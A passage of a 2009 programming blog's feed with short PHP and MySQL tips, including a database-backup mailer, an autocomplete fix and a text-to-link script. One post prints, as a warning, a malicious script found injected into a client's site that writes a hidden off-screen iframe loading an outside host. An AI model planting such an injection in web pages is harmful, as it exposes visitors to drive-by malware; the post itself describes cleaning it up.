&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;FromMail, is the valid email address which comes in &#39;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;from header&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;&#39;. ToMail is considering as the trigger for mailing function. If you are leave this blank, the function for sending e-mail will be disabled, if you given a email to  The MailBody contains the message that will be send along with the file as attachment.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;4. DAS – Delete After Send&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;$mailer[&quot;DAS&quot;] = false;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;This is an important parameter, if you configured as true, it will delete the file from the backup folder [created in the server] after successfully send the mail which configured to.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;EXTRA&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;backup.php is the file that invokes the class and assign the variables, you can see generating a random name [on line # 38]. You can use any algorithm if you find it is not sufficient.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;Go through the class file mysql.class.inc. The functions having comments which helps you to modify and suited for you purpose. You can set a cronjob[scheduled Task] for send you the updated database backup on regular intervals. Enjoy.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;“&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;i&gt;Comments and queries are always encouraging”.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;i&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;b&gt;&lt;span style=&quot;text-decoration: none;&quot;&gt;Download: &lt;a href=&quot;http://www.phpclasses.org/browse/package/5808/download/zip.html&quot; name=&quot;http://www.phpclasses.org/browse/package/5808.html&quot; target=&quot;_blank&quot;&gt;myeskuel.zip&lt;/a&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/12/auto-generated-mysql-backup-using-php.html</link><author>noreply@blogger.com (Anish)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-7522256339859492394</guid><pubDate>Mon, 26 Oct 2009 10:14:00 +0000</pubDate><atom:updated>2009-10-26T15:44:19.978+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">erapost.net</category><category domain="http://www.blogger.com/atom/ns#">malware attack</category><title>Malware attack</title><description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Cf-2AvCFpTV02jFOIIKqNG4g4WGaotzWdNheSMNQW-ui9kQT_fvkcwkM0uODWUx3DkPWcq-ZyehXT0EWQ2IBj4xBLHmHrX8i1mkkIkFjQ4K_gkC60f2YnxquHX3HY3wD7I4QYn7D7wcV/s1600-h/malware.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Cf-2AvCFpTV02jFOIIKqNG4g4WGaotzWdNheSMNQW-ui9kQT_fvkcwkM0uODWUx3DkPWcq-ZyehXT0EWQ2IBj4xBLHmHrX8i1mkkIkFjQ4K_gkC60f2YnxquHX3HY3wD7I4QYn7D7wcV/s400/malware.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;style type=&quot;text/css&quot;&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;Last night was so weary !!, one site I worked with was attacked by malware and those who visited this site resulted hanging up their computer some lost their OS, even some says they lost their computer completely. Site owner called me and requested me to check the problem immediately. Tell you the truth, it was my first experience with malware attacks. &lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;I started google the problem, I came to know it is easy to know which files are infected when we added site into google&lt;span style=&quot;font-family: DejaVu Sans,sans-serif;&quot;&gt;©&lt;/span&gt;  Webmaster Tools. I did the same, when I completed the procedure, they asked me to add a meta tag in index page.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;I&#39;ve opened index file using a text editor and added the tag in the place. Before I close I checked entire file and found a script after tag. It was not familiar to me, it was something like this:&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;lt; script &amp;gt;document . Write(‘&amp;lt; iframe src=“http : // erapost . net/? click =5 8 35265” width=100 height=100 style=“position:absolute;top:-10000;left:-10000;” &amp;gt;&amp;lt; /iframe &amp;gt;’);&amp;lt; /script &amp;gt;&amp;lt; table cellpadding =‘0’ cellspacing=‘0’ width=‘100%’ &amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;center&quot; lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;Please do not try this script: Really dangerous one.&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;center&quot; lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;Remove un-friendly scripts like above, and try check. Hope it will work.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/10/malware-attack.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0Cf-2AvCFpTV02jFOIIKqNG4g4WGaotzWdNheSMNQW-ui9kQT_fvkcwkM0uODWUx3DkPWcq-ZyehXT0EWQ2IBj4xBLHmHrX8i1mkkIkFjQ4K_gkC60f2YnxquHX3HY3wD7I4QYn7D7wcV/s72-c/malware.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-562300216382095282</guid><pubDate>Wed, 23 Sep 2009 05:37:00 +0000</pubDate><atom:updated>2009-09-23T11:07:06.889+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">auto complete</category><category domain="http://www.blogger.com/atom/ns#">autocomplete</category><category domain="http://www.blogger.com/atom/ns#">browser cache</category><title>Browser Cache or AutoComplete</title><description>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-EdIwEAZpc_FstOVllAhmARZeYOV1AhI7ZEFqkEHj9MPOXN4yEcu0Lw9NPBZm5HvjwUK6iZqKRfJLWzSk2fwWJxVobW4LuNi4tlVoSqqwKF3IsdJ-XL4RvbfcCx3Y9suci9W16p42gUXB/s1600-h/123.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-EdIwEAZpc_FstOVllAhmARZeYOV1AhI7ZEFqkEHj9MPOXN4yEcu0Lw9NPBZm5HvjwUK6iZqKRfJLWzSk2fwWJxVobW4LuNi4tlVoSqqwKF3IsdJ-XL4RvbfcCx3Y9suci9W16p42gUXB/s400/123.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;style type=&quot;text/css&quot;&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;I am currently working as a Project Lead for a local search engine project, there was a problem which is remained unsolved in our bugzillla [ &lt;a href=&quot;http://en.wikipedia.org/wiki/Bugzilla&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;wikipedia&lt;/span&gt;&lt;/a&gt;]. The problem was, in our keyword field, we are using an Ajax[&lt;a href=&quot;http://en.wikipedia.org/wiki/Ajax_%28programming%29&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;wikipedia&lt;/span&gt;&lt;/a&gt;] suggestion. When we re-use the same window a browser generated suggestion came up over our suggestion, its make lots of difficulties on showing suggestion.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;My client noticed it is a useless thing which should be removed asap. My team worked on it and find no solution for this. We made a decision that, it is due to browser cache which is unable to remove by any sort of codes.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;Last day, I went to online bank account to check my balance when I logged out, I tried to log in again. Then I noticed that there is no these type of cache is presented. Then check the same of another bank, result is same no cache.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;What I do next is check the html code and I found there is an option said &lt;i&gt;&lt;b&gt;autocomplete.&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;font-style: normal; font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-decoration: none; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;I tried the same wonder, the problem is solved.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;font-style: normal; font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-decoration: none; text-indent: 0.1cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align=&quot;left&quot; lang=&quot;en-US&quot; style=&quot;-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-family: ARial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;lt;input type=&quot;text&quot; id=&quot;user&quot; style=&quot;width:200px;&quot; autocomplete=&quot;off&quot; /&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0cm;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang=&quot;en-US&quot; style=&quot;margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;&quot;&gt;&lt;span style=&quot;font-family: Tahoma,sans-serif;&quot;&gt;Hope your problem is also solved.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/09/browser-cache-or-autocomplete.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-EdIwEAZpc_FstOVllAhmARZeYOV1AhI7ZEFqkEHj9MPOXN4yEcu0Lw9NPBZm5HvjwUK6iZqKRfJLWzSk2fwWJxVobW4LuNi4tlVoSqqwKF3IsdJ-XL4RvbfcCx3Y9suci9W16p42gUXB/s72-c/123.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-779786408482953241</guid><pubDate>Thu, 26 Mar 2009 17:14:00 +0000</pubDate><atom:updated>2009-03-26T22:46:20.739+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">earthhour.in</category><title>Switch OFF !!!</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://earthhour.in/&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 399px; height: 400px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSJeGv30c_vnlApxOQQGUxYIqv-mUJq1N7YnrFrbZVO_Q08V2Xz7mLscDjFFUFS1H8q-mYkD0CMTZ_qsTwftRsBVdArrLV-ilVHgAnpNOwAUWnrVsQ1nGHXhQJ_TmW_4aAqk4Y9tElKH7k/s400/image002.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5317542119683732018&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube-nocookie.com/v/ykJ071ZUMXQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;color1=0x234900&amp;amp;color2=0x4e9e00&quot;&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;embed src=&quot;http://www.youtube-nocookie.com/v/ykJ071ZUMXQ&amp;amp;hl=en&amp;amp;fs=1&amp;amp;color1=0x234900&amp;amp;color2=0x4e9e00&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;Visit: &lt;a href=&quot;http://earthhour.in/&quot;&gt;http://earthhour.in/&lt;/a&gt;</description><link>http://thecoderinc.blogspot.com/2009/03/switch-off.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSJeGv30c_vnlApxOQQGUxYIqv-mUJq1N7YnrFrbZVO_Q08V2Xz7mLscDjFFUFS1H8q-mYkD0CMTZ_qsTwftRsBVdArrLV-ilVHgAnpNOwAUWnrVsQ1nGHXhQJ_TmW_4aAqk4Y9tElKH7k/s72-c/image002.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-7606223448266300028</guid><pubDate>Thu, 19 Mar 2009 13:30:00 +0000</pubDate><atom:updated>2009-03-19T23:05:00.405+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">mySql</category><category domain="http://www.blogger.com/atom/ns#">php</category><title>Limiting results by ID and order by rating</title><description>It is simple in MySql to query some from a table by its ID and order it using another field say &quot;rating&quot;&lt;br /&gt;here is the php code for that&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-style:italic;&quot;&gt;$data = mysql_query(SELECT * FROM (SELECT * FROM table_name ORDER BY ID DESC LIMIT 50) AS ttbl ORDER BY rating ASC;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;ttbl is a virtual table or view (I don&#39;t know what exactly it is)</description><link>http://thecoderinc.blogspot.com/2009/03/limiting-results-by-id-and-order-by.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-2862409996928861114</guid><pubDate>Sun, 08 Mar 2009 15:12:00 +0000</pubDate><atom:updated>2009-03-08T20:58:27.034+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">file</category><category domain="http://www.blogger.com/atom/ns#">php</category><title>text to link - php</title><description>One of my client gave me a huge file which contain thousands of web urls, he want that into a html file having html (&amp;lt; a) tags with those site addresses as links.&lt;br /&gt;&lt;br /&gt;eg: the input file contain&lt;br /&gt;1. thecoderin.blogspot.com &amp;lt; http://thecoderin.blogspot.com/&gt;&lt;br /&gt;2. keltrondays.blogspot.com &amp;lt; http://keltrondays.blogspot.com/&gt;&lt;br /&gt;3. sahabm.blogspot.com  &amp;lt; http://sahabm.blogspot.com/&gt;&lt;br /&gt;4. linuxlight.blogspot.com &amp;lt; http://linuxlight.blogspot.com&gt;&lt;br /&gt;&lt;br /&gt;the php code for convert this into format is given below:&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;&lt;br /&gt;$file_to_read = &quot;lines.txt&quot;;&lt;br /&gt;$file_to_write = &quot;output.txt&quot;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$fh = fopen(&quot;$file_to_read&quot;, &quot;r&quot;);&lt;br /&gt;$i = 1;&lt;br /&gt;while ($line = fgets($fh)) {&lt;br /&gt;$row[$i] = $line;&lt;br /&gt;$i++;&lt;br /&gt;}&lt;br /&gt;fclose($fh);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$fh = fopen($file_to_write, &#39;w&#39;) or die(&quot;can&#39;t open file&quot;);&lt;br /&gt;       &lt;br /&gt;    $a = 1;&lt;br /&gt;    $max = count($row);&lt;br /&gt;   &lt;br /&gt;    while ($a &amp;lt;= $max) {&lt;br /&gt;   &lt;br /&gt;        $var[$a] = explode(&quot; &quot;,$row[$a]);&lt;br /&gt;   &lt;br /&gt;        $data[$a] = &quot;&amp;lt;a href=&#39;http://&quot;.$var[$a][1].&quot;&#39;&gt;&quot;.$var[$a][1].&quot;&amp;lt;/a&gt;\n&quot;;&lt;br /&gt;       &lt;br /&gt;        echo $data[$a];&lt;br /&gt;       &lt;br /&gt;        /*&lt;br /&gt;        fwrite($fh, $data[$a]);&lt;br /&gt;        */&lt;br /&gt;       &lt;br /&gt;       &lt;br /&gt;       &lt;br /&gt;        $a++;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;#print_r($row);&lt;br /&gt;?&gt; &lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/03/text-to-link-php.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-1960789535736951079</guid><pubDate>Sun, 08 Mar 2009 14:57:00 +0000</pubDate><atom:updated>2009-03-08T20:37:11.967+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">php</category><title>how to remove html comments  using php style</title><description>Consider a html page which having several comments; which is not good for mobile webpages, as its size must be very low. So better rebuild the html page.&lt;br /&gt;&lt;br /&gt;Here a script written using php, where it removes the html comments (including the matter inside &amp;lt;!-- and --&gt;&lt;br /&gt;&lt;br /&gt;single line code for that&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-style: italic;&quot;&gt;$str = preg_replace(&#39;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;/&amp;lt;!--*?--&gt;/i&lt;/span&gt;&#39;, &#39;&#39;, $str);&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://thecoderinc.blogspot.com/2009/03/how-to-remove-html-comments-using-php.html</link><author>noreply@blogger.com (Anish)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2450838521860840569.post-3146908516753268472</guid><pubDate>Wed, 04 Mar 2009 05:24:00 +0000</pubDate><atom:updated>2009-03-04T11:07:57.865+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">c++</category><category domain="http://www.blogger.com/atom/ns#">php</category><title>Compile C++ using PHP ???</title><description>Wondered ? Yes it  is possible using &lt;span style=&quot;font-style: italic;&quot;&gt;proc_open&lt;/span&gt; command for running terminal operations. But I am not sure about &lt;span style=&quot;font-weight: bold;&quot;&gt;Windows Machines&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The Code goes here:&lt;br /&gt;&lt;br /&gt;&lt;div style=&quot;background-color: rgb(213, 240, 184);&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(51, 102, 255);&quot;&gt;$descriptorspec&lt;/span&gt; = array(&lt;br /&gt;    0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),&lt;span style=&quot;color: rgb(153, 153, 153);&quot;&gt;  //&lt;/span&gt; &lt;span style=&quot;color: rgb(153, 153, 153);&quot;&gt;stdin is a pipe that the child will read from&lt;/span&gt;&lt;br /&gt;    1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;),&lt;span style=&quot;color: rgb(153, 153, 153);&quot;&gt;  //&lt;/span&gt; &lt;span style=&quot;color: rgb(153, 153, 153);&quot;&gt;stdout is a pipe that the child will write to&lt;/span&gt;&lt;br /&gt;    2 =&gt; array(&quot;file&quot;, &quot;filename.txt&quot;, &quot;w&quot;)&lt;span style=&quot;color: rgb(153, 153, 